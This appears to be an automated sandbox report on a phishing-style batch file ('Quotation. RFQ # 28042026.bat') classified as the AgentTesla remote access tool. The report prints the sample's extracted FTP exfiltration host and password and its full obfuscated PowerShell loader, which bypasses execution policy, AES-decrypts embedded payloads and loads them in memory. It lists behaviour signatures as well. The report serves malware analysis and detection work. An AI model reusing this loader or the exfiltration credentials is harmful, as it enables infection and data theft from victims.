Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
30/04/2026, 14:52
General
- Target Quotation. RFQ # 28042026.bat
- Size 146KB
- Sample260430-r81cssay8p
- SHA256 59830d1c568bd43c1c582b36981bc0ef423116c144c33fad51e1e66bb0cb368a
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.duct-master.com
-
Port
21
-
Username
-
Password
WL9ow,~&t(NJJf-)nn
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Quotation. RFQ # 28042026.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function oyKSs($NwDBw){ $wrnVc=New-Object System.IO.MemoryStream(,$NwDBw); $tgWxf=New-Object System.IO.MemoryStream; $CPtFz=New-Object System.IO.Compression.GZipStream($wrnVc, [IO.Compression.CompressionMode]::Decompress); $CPtFz.CopyTo($tgWxf); $CPtFz.Dispose(); $wrnVc.Dispose(); $tgWxf.Dispose(); $tgWxf.ToArray();}function etIWk($NwDBw){ $ljxAe=[System.Security.Cryptography.Aes]::Create(); $ljxAe.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ljxAe.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ljxAe.Key=[System.Convert]::FromBase64String('OBWLT5q+ohpzlHi4YcovzWy22cnO7X1hgQGhLedKP2c='); $ljxAe.IV=[System.Convert]::FromBase64String('4BEyJ/XL1SO4mXxBRtyNSA=='); $BSGWh=$ljxAe.CreateDecryptor(); $vuCpj=$BSGWh.TransformFinalBlock($NwDBw, 0, $NwDBw.Length); $BSGWh.Dispose(); $ljxAe.Dispose(); $vuCpj;}function mZoxr($NwDBw,$niRhV){ $WzjXj=[System.Reflection.Assembly]::Load([byte[]]$NwDBw); $mKFkW=$WzjXj.EntryPoint; $mKFkW.Invoke($null, $niRhV);}$zenRC = 'C:\Users\Admin\AppData\Local\Temp\Quotation. RFQ # 28042026.bat';$host.UI.RawUI.WindowTitle = $zenRC;$sWGot=[System.IO.File]::ReadAllText($zenRC).Split([Environment]::NewLine);foreach ($rXPpA in $sWGot) { if ($rXPpA.StartsWith('vcceSlNTlRxVkBQvgNEZ')) { $nHaZl=$rXPpA.Substring(20); break; }}$agXlZ=[string[]]$nHaZl.Split('\');$Zhhqn=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[0].Replace('#', '/').Replace('@', 'A'))));$RUSGy=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[1].Replace('#', '/').Replace('@', 'A'))));mZoxr $Zhhqn $null;mZoxr $RUSGy (,[string[]] (''));"2⤵
- Badlisted process makes network request
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jx2ukbdt.a0r.ps1
memory/2032-17-0x0000000006FF0000-0x000000000700A000-memory.dmp
memory/2032-1-0x0000000005600000-0x0000000005636000-memory.dmp
memory/2032-3-0x0000000005CD0000-0x00000000062FA000-memory.dmp
memory/2032-4-0x0000000005B60000-0x0000000005B82000-memory.dmp
memory/2032-5-0x0000000006370000-0x00000000063D6000-memory.dmp
memory/2032-6-0x00000000063E0000-0x0000000006446000-memory.dmp
memory/2032-0-0x0000000005690000-0x00000000056A0000-memory.dmp
memory/2032-13-0x0000000006510000-0x0000000006867000-memory.dmp
memory/2032-14-0x0000000006A40000-0x0000000006A5E000-memory.dmp
memory/2032-15-0x0000000006AF0000-0x0000000006B3C000-memory.dmp
memory/2032-2-0x0000000005690000-0x00000000056A0000-memory.dmp
memory/2032-16-0x00000000083F0000-0x0000000008A6A000-memory.dmp
memory/2032-24-0x0000000005690000-0x00000000056A0000-memory.dmp
memory/2032-19-0x0000000007C30000-0x0000000007C4E000-memory.dmp
memory/2032-22-0x0000000007C50000-0x0000000007C92000-memory.dmp
memory/2032-23-0x0000000008A70000-0x0000000009016000-memory.dmp
memory/2032-18-0x0000000007050000-0x0000000007058000-memory.dmp
memory/2032-25-0x00000000056A0000-0x0000000005722000-memory.dmp
memory/2032-26-0x0000000005670000-0x0000000005676000-memory.dmp
memory/2032-28-0x0000000005690000-0x00000000056A0000-memory.dmp
memory/2032-27-0x0000000007DE0000-0x0000000007DE7000-memory.dmp
memory/2032-33-0x00000000080A0000-0x00000000080F0000-memory.dmp
memory/2032-34-0x0000000008190000-0x0000000008222000-memory.dmp
memory/2032-35-0x0000000008120000-0x000000000812A000-memory.dmp